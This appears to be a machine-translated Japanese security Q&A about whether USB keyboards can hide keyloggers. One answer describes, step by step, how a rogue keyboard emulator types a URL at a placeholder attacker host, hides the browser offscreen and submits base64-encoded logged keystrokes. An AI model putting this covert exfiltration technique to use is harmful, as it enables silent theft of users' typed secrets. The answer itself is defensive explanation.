web-dev-qa-db-ja.com

USBキーボードのキーロガーを検出するにはどうすればよいですか? USBキーボードはキーロガーをホストできますか?

最近USBキーボードを入手しました。キーボードのマイクロコントローラーがキーロガーをホストしているかどうか、およびWindows OSとどのように相互作用するかを調査したいと思います。私の理解では、WindowsがUSBデバイスを認識すると、セキュリティで保護されたMicrosoft DBから適切なドライバーが取得されるため、キーストロークを記録している場合でも、それ自体でSWを実行して送信することはできません。 SWキーロガーの可能性は別にしておきます。

USBキーボードがキーロガーをホストし、Windowsが情報をアドレスに送信するプロセスを実行するように制御できる可能性はありますか?

7
Alex

BluetoothまたはWiFiを介してデータを漏らす通常のUSBキーロガーは、キーボード内に簡単に隠すことができます。 Bluetoothロガーでは、攻撃者がコンテンツをダンプするために範囲内に入る必要がありますが、ネットワークキーで事前設定されたWiFiベースのアダプターは、攻撃者が勝つために立ち会う必要さえありません。彼はそれを差し込んで永久にそこに置いておくことができます。このようなキーロガーは長年にわたって市販されています。 NSA Playsetプロジェクトから利用できるオープンソースの実装さえあります。これは、NSAのリークされた悪名高いANTカタログで見つかったスパイデバイスをエミュレートするように設計されたデバイスです。しかし、今、新しいオプションがあります。さらに洗練されています。

BashBunnyは、これらの種類のタスクを実行するUSB​​カメレオンの市販のハードウェア実装です。 USB Rubber Duckyは、単にEvilキーボードシミュレータです。 BashBunnyは、汎用のUSBキーボード、USB大容量ストレージデバイス、USBシリアルポート、USBネットワークアダプターをエミュレートする小さなLinuxコンピューターを実行することで機能します。エミュレートされたデバイスは、汎用チップセットで使用される既存の署名済みWindowsドライバーを利用します。このようなデバイスは、USBキーボードをエミュレートし、指示を入力して他の場所に送信するだけで、被害者のPCを介してキャプチャされたデータを盗み出すことができます。

以下は、被害者のPCを介してデータを盗み出す方法の単純な例です。非表示のUSBデバイスにデータロガーが含まれていて、1日または2日秘密を記録するとします。 (BashBunnyにはキーロガーが含まれていません。ホストシステムのスキャンからデータを取得します。もちろん、キーロガーをインストールして、後でデータを収集することもできます。)データを送信するときは、USBメッセージを生成します。これにはキーストロークが含まれていますが、ユーザーはそれを入力していません。 <Windows>Rを押してからhttp://www.evilhax0rs.invalid/key_logger_dump_page.php *と入力すると、ほとんどの場合空のページが表示され、画面のはるか下に非表示の入力ボックスがあり、スクロールバーで見つけることができます。ここで、不正なキーボードが<Windows><Shift><Down-Arrow>を押してブラウザウィンドウを画面から完全にスライドさせ、ユーザーの目に見えないところを想像してください。次に、偽のキーボードは、ログに記録されたすべてのキーストロークを入力ボックス(base64でエンコードされたもの)に入力し始め、終了時に<Enter>を押します。最後に、すべての秘密が建物から出た後、<Windows><Shift><Up-Arrow>と入力してブラウザを復元し、すぐに<Control>F4と入力してタブを閉じます。ユーザーがウィンドウがスライドして表示されなくなる前にポップアップしていることに気付いたとしても、典型的な被害者が何が起こっているのかを把握する機会があまりにも速くない場合があります。

私が言ったように、これらは今日購入できる市販のオープンソース製品です。邪悪なデバイスのソースコードとファントムタイピングを行う「ダッキースクリプト」はすべてgithubでホストされています。

*実際のページではありません。

9
John Deters

私は質問を読んでいて、「キーボードはできましたか」を見ていて、頭に浮かぶのは、私が開いたほとんどのキーボードにAtmel32u [4,8、X]コントローラーがあり、これらのコントローラーがフィールドプログラマブルなファームウェアを実行していることです( jtag/uartのブレイクアウトに到達するのは簡単ではないかもしれません。)Atmel32uシリーズプロセッサをベースにして、10年のかなり前からキーボード愛好家が構築しているオープンソースプロジェクト(Openhardware)があります。

ささいなことではありませんが、オープンソースのコードベースを起点としてキーロガーを作成することは完全に可能です(TMKが最も確立されています: https://github.com/tmk/tmk_keyboard )次に、ラバーダッキーと同じ方法を使用して、キーボード自体からコマンドを送信し、キーストロークをリモートロケーションに送信するエージェントを作成します。

一部のキーボードファームウェアはすでにリバースエンジニアリングされており(これもキーボード愛好家向け)、ベンダーはこれを防ぐためにファームウェアパッケージの暗号化も試みています。それでも、それは可能性の範囲外ではありません。

2
Ori